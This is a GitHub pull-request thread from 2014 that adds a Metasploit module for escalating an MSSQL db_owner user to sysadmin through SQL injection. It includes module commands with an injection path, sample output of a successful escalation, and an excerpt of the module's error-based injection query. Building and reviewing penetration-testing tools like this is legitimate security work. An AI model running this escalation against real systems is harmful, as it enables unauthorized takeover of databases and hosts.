Added module mssql_escalate_dbowner_sqli

Added mssql_escalate_dbowner_sqli module.  This module can be used to escalate privileges to sysadmin via SQL injection if the user has the db_owner role in a trustworthy database owned by a sysadmin user. Once the user has the sysadmin role the mssql_payload_sqli module can be used to obtain a shell on the system. 

Lab Setup and Test Guide
https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_escalate_dbowner_sqli_lab_guide.txt

Example Output:
<pre>
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
set GET_PATH  /testing.asp?id=1+and+1=[SQLi];--
set rhost 10.2.9.101

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is NOT a sysadmin, let's try to escalate privileges.
[*] Checking for trusted databases owned by sysadmins...
[+] 1 affected database(s) were found:
[*]  - LVADB
[*] Checking if MyAppUser has the db_owner role in any of them...
[+] MyAppUser has the db_owner role on LVADB.
[*] Attempting to add MyAppUser to sysadmin role...
[+] Success! MyAppUser is now a sysadmin!
[*] Auxiliary module execution completed

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is already a sysadmin, no esclation needed.
[*] Auxiliary module execution completed
msf auxiliary(mssql_escalate_dbowner_sqli) > 
</pre>
Cool. I'll review again later today. I'm out and about w the fam ATM

> On Oct 18, 2014, at 12:03, Scott Sutherland <notifications@github.com> wrote:
> 
> In modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb:
> 
> > +    sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName
> > +      FROM sys.server_principals r
> > +      INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
> > +      INNER JOIN sys.server_principals p ON
> > +      p.principal_id = m.member_principal_id
> > +      inner join sys.databases d on suser_sname(d.owner_sid) = p.name
> > +      WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
> > +
> > +    # Run query
> > +    result = mssql_query(sql)
> > +
> > +    #Parse results
> > +    parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m)
> > +
> > +    # Return sysadmin status
> > +    return parsed_result
> Fixed - I removed the line.
> 
> —
> Reply to this email directly or view it on GitHub.